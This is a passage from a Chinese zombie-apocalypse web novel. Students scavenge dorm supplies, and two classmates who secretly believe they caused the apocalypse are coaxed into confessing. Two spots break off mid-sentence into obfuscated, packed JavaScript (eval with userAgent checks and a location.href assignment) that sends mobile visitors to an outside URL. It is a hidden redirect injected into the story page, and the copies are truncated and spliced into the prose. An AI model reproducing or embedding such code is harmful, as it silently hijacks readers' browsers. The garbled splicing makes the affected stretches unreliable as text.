书桌和橱柜是她们收集物资的重中之重。 容易坏的食物都会摆在显眼的地方。 这个宿舍看起来很喜欢囤货，不仅桌面摆放着各种零食饮料，电竞椅后面还挂着半袋子樱桃，三个苹果。 樱桃坏了不少，苹果耐储存，完全没有不新鲜的痕迹。 姜杞小心地把坏樱桃放在收集种子的塑料袋里，对着苹果舔了舔嘴唇，再把桌面上的半板酸奶收起来。 她随手拉开橱柜，措不及防被里面的东西砸了一脸。 “卧*啊。” 站她身旁拍摄的李穗震惊看过来。 姜杞捡起刚刚砸了她的沙琪玛，香葱鸡块小饼干。念叨着这一看就不能放太久，兴奋地翻看包装袋，最后还是只把没印刷保质期的沙琪玛收在置物箱里。 “这姐妹囤货真多啊。”李穗和姜杞两颗头挤在一起，一边检查各种食物的保质期一边碎碎念：“零零散散的，什么都有点。” “看生产日期应该已经买了好久了。” “临期食品？” “不是。”朱妙妙难得恢复了点末世前的样子，对于囤货她是绝对的行家：“你们看生产日期靠前的这些东西：胡辣汤粉、山药小米南瓜粉，不好吃；沙琪玛、雪花酥，腻；馒头片、香葱鸡块，太老式……都零零散散的，种类多，但数量不多，还都压在下面。” “还有生产日期近的：黄瓜味薯片、麻薯面包，就这俩。” 朱专家一锤定音：“她把不好吃的都剩下了。” “姐妹大义。”姜杞感慨：“都剩给我们了。” 她利落地把朱妙妙挑出来的零食都装进来，只留下了薯片、麻薯面包和还剩半年保质期的胡辣汤粉料。 朱妙妙又把麻薯面包也收了起来，这东西生产日期近，但保质期短，还有十来天就过期了。 其他几个柜子里囤货也不少，果然囤货是病毒，会传染。 几乎每个柜子里都能搜到香肠和泡面。卤蛋和真空鸡腿则是珍稀掉落物品。 姜杞抚摸着保质期还剩八个多月的泡面：“我都能想象得到冬天的日子了，面饼是一顿，粉饼又一顿，油包粉包蔬菜包单独煮成三锅汤。” 阮青舒“啐”了一口，她坚信末世会过去，可能不久的将来就能回到末世前的日子。 回不到，也会比现在过的更好。 “你真是光知道找吃的。”拿着手机拍摄的李穗示意阳台的方向。 那里有桶赶海工具。大铁铲是挖蛏子的，小耙用来扒拉蛤蜊，都可以当农具。 甚至有还有很大的赶海抽虾器，李穗在海滩上见过人用这个找皮皮虾和月亮贝，老好使了。但是网上三四十一个，她们没舍得买。 姜杞不理她，这都是摆在明面上的，她早就看见了。 她在找到苹果的那个位置上不断翻找。 果然，书架的缝隙里，姜杞掏出来一把水果刀。这属于宿舍违禁品，平时都得藏起来用。 一个这么爱吃水果的人，怎么可能没有水果刀。 水果刀收起来，简易晾衣架也拆下来不锈钢管当武器，朱妙妙还找到了个拍背神器，在姜杞身上试了一下，看样子还挺疼的，就也收了起来。 食物和武器都收拾差不多了，还得找药品和日用必需品。 每个宿舍都能找到布洛芬和红糖，还有卫生巾。 “安全感啊，这就是安全感。”姜杞从桌子底下找到一大包安睡裤，朱妙妙说床底还有一小箱卫生巾，置物箱装满了，她得在群里喊人支援。 这种刚需物资她们得拿走大部分，以后统一分配。 第一个宿舍，1230四人组就收获了过期酸奶半板，坏得差不多的樱桃半袋。新鲜苹果三个、梨两个，干瘪耙耙柑六个。各种保质期在一个月内的零食若干，装满了膝盖那么高的一个小储物箱。 武器有两把水果刀，一大一小。不锈钢钢管五根，看起来是拼夕夕二十元内的产品，不是很坚固。 农具两个，铲子加铁耙，迷你版。 药品有好几板布洛芬，两瓶胃药，五包感冒灵冲剂。 安睡裤四包半包共二十三条，各种卫生巾加起来二十几包，一个小储物箱都没装满。 第二个宿舍把姜杞她们震惊到了。 这里很整洁，床铺都卷了起来，应该已经考完试离校了。按照班群发的规则，桌面没有摆放任何东西，地板也是一尘不染。 水果肯定是不会有，泡面零食竟然也没找到。 但是找到了很多排球、药品，还有健身器材。 “真是术业有专攻。”李穗惊掉了下巴，她也不知道这句话能不能这样用。上个宿舍就是吃喝玩乐，两个宿舍一比就是饲料鸡和走地鸡的区别。 阮青舒笃定：“法院排球队的，绝对的。” 她们院女排很厉害，在省里得过奖，宿舍楼和教学楼之间那个小操场就是打排球的地盘，网球篮球全都得跑到校门口最远的那个操场去打。 五个脏兮兮的排球堆在门口的角落，还有两只新排球被装在网袋里挂了起来。 两只网球拍混在排球里，没办法，就算是排球队的也不一定能抢到排球课。李穗一边拿手机一边挥了两下网球拍，差点拍姜杞头上。 打球容易受伤，不管是打什么球。 一个巨大的医药包堆在排球上面，里面有绷带、布洛芬、云南白药膏药、云南白药喷雾、云南白药创可贴……看起来云南白药挺好使。 橱柜里还有健身器材：两个不知道几千克的哑铃，一个壶铃，好几条发带弹力带，还有若干泡沫轴、拉筋板、筋膜枪。 统统打包带走，以后可以清出间教室，专门放健身器材。 四个人已经体会到了收集物资的乐趣，初衷已经不知道忘在了什么地方，马不停蹄地赶往下一个宿舍。 这个宿舍门都没关，布置杂乱无章，地板脏乱，应该是有丧尸闯进来过。 桌面上的课本还没合上，笔记本息屏，甚至还有半瓶没喝完的可乐。 希望丧尸不是在有人的时候闯进来的。姜杞一边祈祷一边把那半瓶可乐收了起来，都末世了，不讲究这个。 “同学……你们为什么会在这里？” 疑惑的声音从门口传来，四个小脑袋齐齐向门口看去。 女生看了眼她们手中的装备，和正在拍摄的手机，像是明白了什么：“你们来清理无人宿舍的囤货的？群公告说的那个？” 四人点头。 女生表情复杂：“姐妹你们走错了吧，这个宿舍，我们还住着呢。” 三个脑袋从女生身后一个接一个冒出，八个人大眼瞪小眼。 “啊啊啊啊啊啊啊啊！” “对不起！”“不好意思！”“对不起对不起！”几人滑跪道歉，弯着腰连连点头鞠躬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到消息后的一分钟内，四人就来到了那个疑似有问题的宿舍门前，这里还有两个女生，都在收集物资的那四拨人里面。 姜杞直接回了1230，提着一把大砍刀走了出来，对着1201的大门比划。 如果1230里真的是那个学姐，她有好多问题想问。 为什么提前屯了这么多物资，还把地址写在一楼？ 为什么明明有手机有流量发视频，却从来不跟学校里的人联系。 为什么学校的情况已经明显不再危险，还是缩在宿舍里不出来。 是知道了什么隐秘信息吗？所以在末世来临前疯狂囤货。 那现在呢？ 校园里还存在什么不为人知的危险，让你直到今天都不敢踏出宿舍门半步。 片刻思绪万千。 而在旁人看来，那个手臂上缠着绷带的女生高举砍刀，只略一停顿，就狠狠砍下来。 砍门声和尖叫声同时响起，木屑四溅，众人惊退。 门只砍了一下。 门内的尖叫声却持续了很长时间，她竭斯底里，声音透着癫狂，好像是被砍门的动静唤醒了长久积压的恐惧。 28. 介介，你介是断网了嘛 “再砍一刀，我就在屋里点火！” 崩溃的喊话声带着破音，像石块击打破锣。 她应该已经很久没说话过了。 门后传来两声含糊的喘息，紧接着快速道：“屋里有油，有棉被，宿舍楼里都是木门和木头床板，火真烧起来，绝对不是一个宿舍的事。” “别以为跑到其他楼就行，楼后面就是山，这个季节，所有人都得完蛋。” 声音快速而尖锐，这是经历了巨大惊吓后平静的绝望。 长声尖叫后的呼吸急促而混乱，于虹心口剧烈起伏，她握紧一把小水果刀靠在卫生间门上，努力让声线稳定下来，佯装平静跟外面的人谈条件。 而外面的高雯、商夏夏面面相窥。 她们的脸色从惊讶渐渐变成无法理解，眯起眼睛微微后仰，随即不动声色地掏出手机在宿舍群里哔哩啪啦起来。 见里面没声了，朱妙妙才上前轻轻敲了下宿舍门：“同学，你误会了，我们没想伤害你。” 阮青舒声音和缓：“敲门没人答应，我们就以为宿舍里没人。钥匙打不开，所以才会砍门的。” “现在物资紧张，我们也是想尽可能不浪费资源。” 门后声音冰冷：“现在你们知道有人了，可以走了。” 她似乎冷笑了一下：“这里没物资，都要放假了谁宿舍里还屯吃的。你们爱信不信，反正再敢砍一下门，我不但要把宿舍楼都烧了，人也不会都放过！” 高雯满头问号，她终于忍不住凑上前来：“看宿舍号，你应该是商院研一的学姐吧？我刚刚查了，学校大群里没有注研一的同学。” “姐妹，你是不是手机丢了，或者没网？” “感觉你和世界脱轨的很严重啊。” 于虹不明白这个女生在说什么，学校什么时候有需要备注年级姓名的大群了？不是只有班群才这样吗。 还有，为什么说她跟世界脱轨了。 虽然她怕自己内疚心软，看到求救后会忍不住把物资分出去，所以退掉了所有班群、互助群，甚至家教群兼职群。 但她每天坚持在网上发种植教程，分享末世自救方法。 评论区的人，几乎每个都生活在水深火热之中。 住在宿舍的学生侥幸活了下来，但临近放假了没什么囤货，忍饥挨饿，抱着微薄的希望等待救援。 躲在教室、商场或者其他地方的人朝不保夕，没有稳定食物来源，还必须时刻警惕会不会有丧尸闯进来。 能躲在家的人当然最好，家里多多少少有点囤货，生活也更方便。 跟着她一起发豆芽、种菜，尝试在没冰箱的环境下延缓食物保质期的粉丝们，也大多是躲在宿舍或家里的幸存者。 有人私信她，想把她拉到幸存者群里。 还有同城的人暗戳戳打听她是哪个校区的，询问她需不需要帮助…… 试探，提出交换，卖惨博同情，甚至破口大骂。 她已经经历遍了。 “什么都别说了。”于虹拒绝沟通，她让自己的声音冷硬下来：“走，别再来打扰我。” 高雯扭头就想走。 商夏夏拽了下她，安抚了一满脸无语的舍友，才上前轻声道：“同学，你真的误会了。” “食堂和超市的物资足够大家支撑很久，空宿舍搜集来的物资也不少。现在是夏天，满山遍野的野菜，秋天能收获草籽，地里的土豆在冬天来临前就能成熟。” “后山到处都是树，啃树皮都能活下去，真的，不会有人去抢别人东西的。” 宿舍门前逐渐聚集了几个同学。 昨天夜里拼死抵挡住了尸潮，今天大半的人都选择了休息。虽然不干活就不管饭，但宿舍的囤货还能支撑下去。 睡到半晌，睁开眼就听说有个一直躲在宿舍等死的姐妹，因为丢了手机没跟外界联系过，不知有汉何论魏晋。在床上笑了半天才穿上拖鞋跑来看热闹，走到门口忍不住跟着劝起来。 “姐妹啊，我们找不到东西吃可以去摘配电室前树上的无花果，可以吃猫粮。”一听到猫粮，好多人就开始笑。 “是啊是啊，我宿舍除了零食泡面，还有十几根猫条呢。” “我之前种了猫草，现在都快长成了，是不是也能吃？” “猫草？猫草好像就是小麦苗吧！” 门口叽叽喳喳个不停，刚赶来的张梦娴在听到“猫草”后精神一震，拉着那个同学要去她宿舍看看。 姜杞站在门后，她始终没放下那把砍刀。 众人的聊天并没有淹没那声轻笑，她轻描淡写道：“放心吧姐妹，这么大一学校快两百人，没必要抢你一个人的东西吃。” 门外的动静让于虹有些恍惚。 轻松欢快的气氛不像是伪装，但这完全不符合常理。 “为什么？” 她抓在手里的水果刀，攥得愈发紧。昏暗的宿舍显得格外拥挤，仿佛空气都在朝她挤压。 于虹在黑暗中问：“为什么。” 为什么学校里好像没丧尸，为什么大家没有勾心斗角抢物资。她一直以为所恐惧的事情，在她们口中，好像是个笑话。 高雯：“为什么不抢你物资吗？能吃饱为什么要抢你的啊。” “本来就是期末，大部分同学考完试就都回家了，学校里人少丧尸也少，丧尸刚爆发我们就用裹着棉被拿着钢管电钻清理丧尸了。” “在校园里到处跑的丧尸被绑着扔到了篮球场上，教学楼的丧尸更好处理，门一关，窗户里跳下来直接丧尸行动能力。校内就这样解决，学校的大门、后山也都加固过了，外面的丧尸也没法闯进来。” “没了丧尸的威胁，东区这么大，再加上后山，难道还养不活我们这一二百人吗？” “根本不可能！” 高雯被门后突然的尖叫吓得连连后退，刚刚还在嬉笑的众人也戛然而止，心有余悸地看着那扇门。 走廊安静下来。 “清理丧尸，加固学校大门，这种事情在你们口中怎么说的这么轻易！” “还种地？一群大学生，遇到灾难不想着求救，不好好待在宿舍里，竟然还在学校里种地！骗人也动动脑子。” “以为我会相信你们吗！” 与骂给旁人听的尖锐叫骂不同。 此刻的于虹身上提不起一点力气，手里紧握的水果刀已经松开，她对着门，捂着脸，缓缓瘫在地上。 她身后，满地的水桶纸箱零散堆积，木棍铁铲成捆堆放，三桶油堆在角落，高到天花板的物资摇摇欲坠，淡淡的阴影将她压在下面。 走廊上听起来有很多人。三五人可能打她物资的主意，三五十人就没必要了。 她其实已经相信这些人的话了。 可这满屋的物资，怎么让别人相信她呢。 一个普通的文科研究生，不用留校做科研，怎么可能需要这么多囤货。 明明是救赎，为什么现在好像要将她压垮。 想救人，却没人信她的话。提前准备了物资，安守宿舍，现在却成为了她融入正常生活的阻碍。 宿舍就这么大，阳台、床铺，甚至每个能落脚的地方都堆满了物资，吃不完，用不了，藏也藏不起来。 只要打开了这扇门，就不可能不被发现。 房间里的每一包零食每一箱泡面都紧紧缠绕着她，绳索逐渐绷紧，将她牢牢固定在这间安全屋里。 于虹瘫在地上，她把手按在宿舍门上，光明被她自己锁在外面。 一滴泪水落下，于虹突然想，如果她当时没选择自己躲起来呢。 有她的提醒，大家看到丧尸的第一眼就会警惕起来，不贸然靠近，减少伤害。被咬伤的人少，丧尸数量也就更少，校园的丧尸也就更好解决。 她会组织同学们及时封锁学校，加固围墙和大门，趁乱收集物资。 如果真的能重来，她要冲在最前面，一点点弥补自己犯下的错误。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203036|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不但能在真正的土地里种粮食，种菜，追寻希望，还会在幸存者中树立起威望，享…… 幻想戛然而止，于虹打了个寒颤。 一股麻劲从骨子里钻出，全身的肌肉都不受控制般抽搐起来。她用手撑在墙上，手也是软的，于是整个人缓缓化开，像没了骨头般贴上墙面。 她双目空洞失神，仔细看，才能在晃动泪光中看出点深处的恐惧来。 刚刚她所设想的可能。 不正是东区的现在吗。 灵魂缓缓从身体里脱离，外面的人好像还在说什么，于虹已经什么都听不到了。 “介介哎！你把你那电话号码给我，我给你冲100块钱话费切，你真得连上网瞅瞅这世界了。”高雯愁得在外面直跺脚，嘛话都不听呢，介不耽误事嘛！ 围在1201宿舍门口的人越来越多，还有人给高雯递了把瓜子。 高雯连连道谢着接过来，手里的瓜子却被房间里突然响起的高声叫喊吓得差点掉地上。 她今天被吓两次了。 “还丧尸刚爆发就解决了校内的丧尸，先不说害不害怕，能不能跑过。末世刚降临，谁敢指着刚刚还在跟自己一起吃饭的同学说，这是丧尸，必须赶紧弄死！” 里面人的声音已经渐渐稳定下来，她声音中带着一丝讥讽，仿佛在嘲笑一个顽劣的谎言。 她说：“怎么，你们是提前得知末世要来吗？” “倒反天罡！”李穗气得撸袖子。 朱妙妙和阮青舒连忙把她拉住，怕她说漏了嘴。 姜杞看着那扇门，不知道在想什么。 在场的人不知怎的也安静下来，高雯攥着瓜子小心挪动到商夏夏旁边，两人对视了一眼，似又别开视线。 你看看我，我看看她。 大的小的眼睛转来转去，明明没一个人说话，却很吵。 姜杞突然的反驳在一众沉默中显得有些天真。 “怎么可能有人知道末世要来啊！你这不瞎扯吗。” “我们老大冲到食堂亲口喊的，他亲眼看到一个人被咬断脖子后竟然摇摇欲坠站起来了，这不是丧尸是什么。” “你没有这样的判断力，就自认为别人也不会有。” 她看上去甚至有些恼火，不满意自己崇拜的人的辛苦功劳被一个人三言两语轻易否定。 “加固大门修围墙，你想不到不代表其他人想不到，冲在最前面抵抗丧尸，你不敢不代表别人也不敢！” 李穗奇怪地看着她，不知道这是在搞什么。拎着大砍刀的人怎么开始说这种降智话。 还有，怎么突然管许妈妈叫老大了。 朱妙妙身子细细的颤。 她想到一种可能。 一开始，她们认为那个研一学姐是装的，天天发视频明明是有网，却假装自己不知道东区发生了什么。 她们以为东区还隐藏着什么未发生的灾难，才让这个提前预知了末世的人至今不敢出来。 可她也无法控制自己的怀疑，如果这个学姐真的不知道东区的事情呢？ 可能这真的只是一个喜欢囤货、疑心病重的学姐，不愿意在末世赌人性，只想待在宿舍里等待救援。 甚至，她知不知道东区的情况，和她是否提前得知了末世也没有必然的联系。 如何判断呢。 朱妙妙好像了明白姜杞的想法。 一个普通人，听到这种话应该和李穗一样，无语直接摆在脸上。 可如果，这真的是一个提前得知了末世消息的人！ 在得知有另外一个可能提前知晓末世降临的存在后，她会怎么想呢？ 朱妙妙想，如果是自己身处她的处境上，一定会疯狂渴望得知许尧的一切信息。去试探，去打听，甚至想方设法和许尧取得联系。 而且，如果她们的假设成立，房间里的学姐和许尧都提前得知了末世的存在。 那么这种诱惑，对许尧同样成立。 29. 她们已经在怀疑我们了【唯恐预警】 许尧醒了。 他扶着墙从医务室里走出来，临走前嘱咐那个男同学把大家送的东西交给张梦娴。 校园巡逻最近是侯源林和他的舍友领头在做，这些事情已经有了固定流程，一天几次，一次几个人，怎么轮班，什么待遇，群公告里说得很清楚。 许尧更新了群公告，嘱咐大家时刻保持警惕，巡逻的时间次数不能死板，灵活点，别被外头的人发现规律。 囤货得有计划的吃，在地里长出粮食之前，所有人都得饿着肚子熬下去。 安全，食物，活下去其实就这两个基本要素。 还有什么要做…… 许尧站在操场前，苍白到透明的肤色几乎和光融为一体。他眯着眼，热风卷起发丝，身后的山林绿浪涌动。 保安室的铺盖得搬走。 守在校门口是他自己的选择，不能成为接班人的责任。 其实他给东区开了个不太好的头，下一任会很难做。 越野车的车头有些发烫，许尧拍了拍上面的灰尘，他看上去很瘦弱，跟高大的越野站在一块，竟然差不多高。 走吧。 他心想，死在哪里都可以。 一群飞鸟掠过，声声惊啼，许尧仰头去看飞鸟，它们从山林中飞出来，飞向城市的方向。 随着人类的异变，城市与山林已经模糊了界限。 垂下头来，轻轻擦掉手臂上的黑白交杂的水点。 一只蝴蝶落在他肩头。 飞奔而来的姜杞气喘吁吁在他身旁停下，一抬眼，正好看到蝴蝶从许尧的身上飞起来。 像一片只剩脉络的叶子被风卷起，仿佛下一秒就要坠下来。 赶来的李穗猛地把胳膊搭在她肩上，姜杞才想起自己是来干嘛的。 “学长你赶紧去劝劝吧！”她把手搭在眉间，假装遮挡阳光，挡住隐约透露着亢奋的眉眼：“我们清宿舍找物资，竟然发现了一个把自己锁在宿舍里，从来从来没出去过的人！” “这人真是奇了怪了，她坚信世界末日来了，大家早晚都得死，坚决不愿意出来。” “不出来就算了，但是她在末世前买了我们好多好多东西，也没给钱，你能不能劝劝她，把东西还给我们一部分？” 蝴蝶不知道飞到哪去了。 许尧惨白的脸殷出一片红。 李穗抢着喊道：“我们好声好气跟她商量，她还从屋子里往外倒油，扬言要烧了我们！” “也是绝了，宿舍里怎么会有油？” “还吹牛说要拿电锯锯我们！” 阮青舒也凑了过来，气急败坏：“好多人都认出她了，她期末低价在群里收东西，只要是吃的都收。还说先放她宿舍门口，晚上她才回宿舍确定了再给钱。” “坑了好几拨人，我们算了下，加起来起码五六箱吃的！” “这不是中午就爆发丧尸了嘛，她现在给钱我们也不想要了，就想要自己的东西，要回来一半也行！” 许尧听到自己问：“女生宿舍我进去也不方便，你们先让其他人回宿舍，我单独劝劝。” 姜杞说：“不用，我们要到了她的微信号，可以打电话谈。” 手机在医务室里，许尧这样说。 他快一米九的个子，跑起来像一阵风，拿着写了号码的纸就往医务室跑，刚把人甩开就掉头跑去宿舍里。 反锁上宿舍门的同时立刻掏出手机，通讯录已经亮起了红点。 许尧颤抖着，点击了通过。 他迎着光亮，踉跄走到窗边。 不知道是谁打的视频电话，接通时，两个人都在宿舍里，一个被光照得看不清人脸，一个在暗处看不清样子。 许尧问：“你迈的哪边？” 镜头晃了晃，缓缓从昏暗模糊过渡到明亮，那个女生的脸清晰起来。她问：“什么？” 许尧没有再说话。 他脸上的红温逐渐退去。 心里有块石头狠狠往下坠，坠得他喘不上来气，他开始大口呼吸。 那个女生着急地问：“你，你是有病吗？要吃点药吗？身边有人吗？” 人在紧张的时候，会假装自己有事情做，会话很多。 跑了一路，真到了这一刻，许尧反而不知道要说什么了。 即使他的猜想是真的，在确定对方当初做的选择之前，他也无法坦白。 他说不出口。 他赌不起。 可对面的人竟主动讲话了：“你宿舍里竟然没有一点囤货。” 许尧愣了下，看了眼镜头，又看了看镜头中的自己。 宿舍里空无一物，棉被在第一天就裹了丧尸，床铺搬去了校门口的保安室。吃的喝的都分了出去，谁来要他都给。 他淡淡道：“你看起来囤货不少。” 囤货多到镜头不敢拍到宿舍一点，人脸几乎占据全部的镜头，身后应该全是物资。 那人哼笑一声：“既然提前知道末世要来，为什么不多囤点？” “都主动联系了，我们两个还装什么装。” “许尧。”她缓缓逼近镜头，眸子里闪着冷光：“别光问我，你呢，你迈的是哪边?” 一声声带着嗤笑的质问钻进许尧的大脑，他几乎要拿不稳手机了。这人竟然直接坦白了，竟然真的有同类……当初面临抉择的人，不止他一个……造成末世降临的，也不是他一个人！ 许尧身子有些摇摆，几乎要倒在了地上，他感觉嘴角有些湿润，脸上也是。 电光火石间，他突然问：“你为什么会主动联系我？” “是有谁跟你说了什么吗？” 他联系这个女生，是因为怀疑她提前得知了末世信息。这个女生为什么会主动说这些话，她从哪里，听说了什么？ 许尧看着手机，想起进门时这个人已经添加了自己，想到自己听到消息后慌乱的举动，想到姜杞…… 他身子晃了一下。 随着一口浊气的缓缓吐出，微颤的肌肉，跳动的眼皮，耷拉的眉眼嘴角都渐渐恢复到正常的模样，他提气凝神，眼神里恢复几分精气。 许尧看着对手机里陌生的女生：“确定一下门后面有没有人偷听。” “从现在起，我们要全无保留的分享自己所了解到的信息。”但不是关于末世的信息。 他低声道：“从有人发现你躲在宿舍后到现在，发生的每件事，听到的每句话，你都要一五一十的告诉我。” 镜头里的女生不明白许尧什么意思，她看起来有些紧张。 许尧说：“她们已经在怀疑我们了。” 他转身看向窗外，楼底下空无一人。 教学楼底下也看不见干活的人影，绿化带本该被挖了种豆角，现在冬青才拔出来一半，赶海用的小铁铲小铁耙散落在地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203037|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜杞等人也没有跟上来，这片天地安静得很。 许尧总感觉哪里还不太对劲。 直到他转过头来。 那个女生身后，出现了姜杞的脸。 姜杞静静地站在女生旁边，两人身后的窗帘被风吹动了一下，露出礼堂外裸露的土地。 镜头里不显露背景，不是怕囤货被发现，而是因为这里根本不是宿舍。 两个心藏秘密的人真的就会互相坦诚吗？姜杞并不这样认为。 万一两个人相互防备，相互试探，却没有一个人敢坦白，就将再次成为死局。 所以，为什么非要让这两个人见面呢。 她身前，刚刚与许尧对话的那个女生摘下隐藏在长发中的蓝牙耳机。想了想，头上那个闷热的假发也摘了下来。 镜头对面陷入了长久的沉默，阳光勾勒出一个清瘦的剪影，他站在窗前，仿佛风一吹就要倒了。 姜杞心虚了。 她承认自己是有点缺德，在高雯她们趁着许尧回头把推过来时，她抱着乐子人的心态抿嘴顺从了。 现在，许妈妈好像受到了惊吓。 姜杞呵呵笑，上前把手机举了起来，调转镜头方向。 上百人出现在镜头后面。 “嘶嘶”的抽气声响起，不少人捂住了自己的脸。 学生会的高雯缩在商夏夏后面，肩膀一抽一抽的。经常出现在姜杞身边的一个女生双手捂住上半张脸，压不下去的嘴角明晃晃露出来。 那个很漂亮的阮青舒神色晦暗不明，她身边的小个子女生拽着她的胳膊，不动声色地按着她。 后面也有人在笑。 但大部分人懵懵的，还有很多人诧异地看着彼此。有人看起来已经猜到了真相，但因为这个人是许尧，所以不知道该怎么办。 许尧轻笑了一下。 他没像姜杞期待的那样，因为看到了大家的反应而放下心来。 人生被改得乱目全非，认识的人一个个倒在自己眼前，这样的罪恶，本来就不是他奉献自己的时间精力，燃烧自己生命就能偿还的。 因为带来末世的那个人是他，所以就能被原谅吗。 补救和犯错不能划等号。 他本想独自外出寻找物资。 能活到什么时候，就算什么时候。 现在…… 他转过身去，自己审判了自己。 一道黑影从橱柜里窜出来，侯源林一把捞回许尧已经推开窗的身体。 他涨红了脸，看样子已经在橱柜里待了很久。 侯源林死死拽着平静的许尧，后怕无比。他们一起打过丧尸，清楚这个看似清瘦的身躯里有多少力气。 他骂了一声，竟然真的什么事情都让那个姜杞预料到了。 手机里嘈杂声像雨点一样蹦出来，有人想往前挤，但不敢。有人直接从礼堂里蹿了出来，直接向着男生宿舍的方向跑去。 混乱中，姜杞的声音却比以往更加平静。 她说：“许尧，我说的是真的。真的有这么一个人，在末世来临之前就大肆囤货，末世后就闭门不出。” “我们向她暗示了你的存在，率先认出了丧尸，不要命地抵挡丧尸。” “她也对你的存在展现出了极大的兴趣，甚至不管不顾，愿意答应任何条件见你一面。” “在跟你打电话之前，她已经全交代了。” 30. 先迈左脚，世界末日…… “如果按下这个按钮，世界末日就会到来……” 你会怎么选择。 高雯听到这句话时，直接笑了出来，笑着笑着就哭了。 可当听到许尧阴着脸问：“你先迈的哪边”时，李穗是真的纯笑哭了。笑得几个人上前捂她的嘴巴，她笑得直抽筋，险些把那些人全都挣脱开来。 先迈左脚世界末日就会到到来吗？ 如果是她，根本等不到听迈另一只脚会怎么样，直接翻了个白眼，跨过去。 这一天，东区的时空像是被反复打碎，又反复组装在一起。 这么多事情同时发生，回忆的时候已经完全记不清楚是先诈的于虹，还是先演的许尧，张梦娴什么时候把大家召集起来的？侯源林怎么就突然从许尧宿舍冒了出来？ 大家把记忆的混乱归结于许尧的失踪。 他大早上带着人巡逻完就晕倒了，学校里的事没了人管，乱得跟没了头一样。 树上的蝉叫个不停。 这些日子里，许尧感觉他像一只知了猴，藏身在泥土里，只能在狭窄的孔洞活动，用微小的孔洞呼吸。 现在，他被人从土里撅了出来。 强迫他翻个，伸展，在日头底下晒来晒去。 “兄弟，那个按钮真是凭空出现的啊？” 许尧不厌其烦的解释：“看到按钮的是于虹，那个女生。我是在图书馆大厅，看到了外面滚动显示屏上突然出现了奇怪的内容。” 鲜红的字眼在黑色屏幕上格外明显。 【图书馆怪谈：先迈出左脚，世界末日就会到来；先迈出……】 许尧是近视，他隐约看到了什么怪谈，被专业课知识填充的大脑急于汲取新鲜的东西，于是快步上前。 当他终于看清上面的字时，一低头，已经走出图书馆好几步了。 那时的他自然也不会把这种事情当回事。 回头看着图书馆大门还笑了两声，就算他不近视，出门前就看清了这行字，说不定还会故意先迈左脚出来。 直到回过头来，显示屏上漆黑一片，同行的舍友说这个显示屏已经坏了很久后，许尧才隐隐感到不安。 床边围了好多人，聚精会神地听许尧描述曾经发生的灵异事件，时不时抱住胳膊，打个寒颤。 这些在都是看到许尧转身想跳下去时，直接从礼堂冲出来的人。 如果许尧没经历这些，躲在宿舍不见天日的于虹迟早跟搜集物资的同学们碰面，爆发冲突，宿舍楼沦为火海。 如果于虹没遇到那个按钮，内疚悔恨将时刻燃烧许尧的生命，蝴蝶已经落在了他身上，他怀着死志，差一点，就跟着鸟群走向了更远。 留在礼堂不知所措的大概还有一百六七十人。 在于虹崩溃坦白所有后，姜杞就通知了张梦娴，让她把同学们都喊来。 她跟许尧保持着视频通话，问了所有人一个问题，当初于虹面对的问题。 但她没有要答案。 姜杞对着大家，也是对着许尧说：“当灾难真的在自己一句戏言，一个玩笑后爆发，当事人自然会认为灾难是自己带来的。” “可旁观者清，大家设身处地想一下，一个真的会有这样这样的能量吗？毁灭世界的灾难，真的会因为一个人的玩笑性选择而诞生吗？” 她站在人前，看起来严肃认真，语调里又带着点说不出的淡漠：“我不是在偏帮谁。” “如果今天只发现了一个人，末世因为这个人的选择而降临，不管这个人是选择了囤货独自逃避，还是出于内疚疯狂挽救。” “都应该被送到十字架上烧死。” “可现在，我们同时发现两个人，两种独立的情况，两个不同的时间，类似的选择。” 门后面，于虹终于走出了宿舍，没人特地介绍她的情况，但这个在黑暗中藏匿了数天的女孩看起来确实和大家有很大的不同。 她已经不太像个正常人了。 此刻，各种目光都聚集在姜杞身上，于虹观望着，感觉台上的女孩要被这些目光压死了。 注视的作用非常主观，只有在意，才会形成力量。 姜杞站在那里，从她平静的语调中，听不出有没有什么东西压在身上。 “末世降临的前一晚，一个女生在背书背到困倦睁不开眼濒临崩溃的时候，按下按钮选择了末世。” “过了一个晚上，许尧在类似的情境下，又经历了类似的选择。” 张梦娴上前：“如果只按一下按钮，世界末日就会到来，为什么还要让别人再选择一遍。” 手机里，侯源林看着她，按住许尧的胳膊突然松了一下，不知道在想什么。 许尧平静的低着头。 “一个想被人按下的按钮，会千方百计寻找能按下它的人。” “如果十字架上真的有空位，被绑上去的，也不应该是我们的同类。” 许尧缓缓抬起头来。 他只看到一片乌压压的人头，和冲着人群摆了摆手离开的身影。 姜杞是一个报复心很重的人，而且不报隔夜仇。 但当仇恨的事物已经完全超出自己理解的范畴时，她就偃旗息鼓，丧失斗志了。 不是天灾，不是人祸。 活了快二十年，才发现这是个玄幻世界。 李穗跟了上来：“接下来怎么办？” 